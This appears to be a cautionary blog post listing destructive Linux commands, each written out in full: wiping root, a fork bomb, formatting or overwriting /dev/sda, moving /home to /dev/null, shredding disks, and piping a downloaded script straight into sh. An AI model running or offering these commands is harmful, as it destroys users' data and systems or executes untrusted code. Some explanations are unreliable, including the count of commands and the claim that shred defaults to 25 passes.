Deadly Commands

7 Linux Deadly Commands you should never Run

Warning : Don't try any of the below command. You will loose data.

6 Linux Deadly Commands !! You Should Never Run on Linux or Unix based distro

First Command is  "sudo rm -rf /" :- 

Below command will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also.

sudo rm -rf /

Second Command is "Fork Bomb" - " :(){ :|: & };: "

This is actually a bash function which replicates itself or creates new copy of itself in loop. Being continuously run in loop, It will quickly take up all your CPU time and memory which can cause your computer to freeze form a denial-of-service attack.

:(){ :|: & };:

Third Command is "Formatting a hard drive" with "mkfs" command

First of all, You should never ever run any command blindly or without further investigation which is related to "/dev/sda" command. "/dev/sda" is your primary hard drive directory , so dealt with caution.

mkfs.ext4 block_device_name   # /dev/sda1

"mkfs" is code to format and it takes second point as extension type. So, if any command is written like below, Never ever run them.

mkfs.ext4 block_device_name # This means format and create partition type of ext4

mkfs.ext3 block_device_name # This means format and create partition type of ext3

Fourth Command is moving file or directory to "/dev/null" i.e, Black hole of linux universe.

Below command will move all files and folder of your home directory to "/dev/null" which is black hole of linux. Google , what is "Black Hole" if you already don't know about it.

sudo mv /home /dev/null

Fifth command is about writing junk onto a hard drive :-

This command will wipe out the block sda and write random junk data to the block. How it works see below :-

dd if=/dev/random of=/dev/sda

Explanation :-

dd - Perform low-level copying from one location to another.

if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).

of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.

Sixth Command is Downloading and Executing malicious script via terminal.

wget http:// google . com/unknownfile.sh | sh 
or
curl -o unknownfile.sh http:// google .com/unknownfile.sh | sh
or
curl -O http:// google .com/unknownfile.sh | sh
or
lynx -source "http:// google .com/unknownfile.sh" > unknowfile.sh | sh

All command above is to download the file and execute the file with "sh". if you can notice above command, you will see "| sh" at the end.

! - Pipe (send) the output of the wget/curl/lynx command (the file you downloaded) directly to another command.

sh - Send the file to the sh command, which executes it if it's a bash script.

Seventh Command is "Shred"

Shred originally designed to delete file securely. It deletes a file securely, first overwriting it to hide its contents. However, the same command can be used to erase hard disk.

shred -n 5 -vz /dev/sda
  • -n 5: Overwrite 5 times instead of the default (25 times).
  • -v : Show progress.
  • -z : Add a final overwrite with zeros to hide shredding.

 


Loading ...

About the Author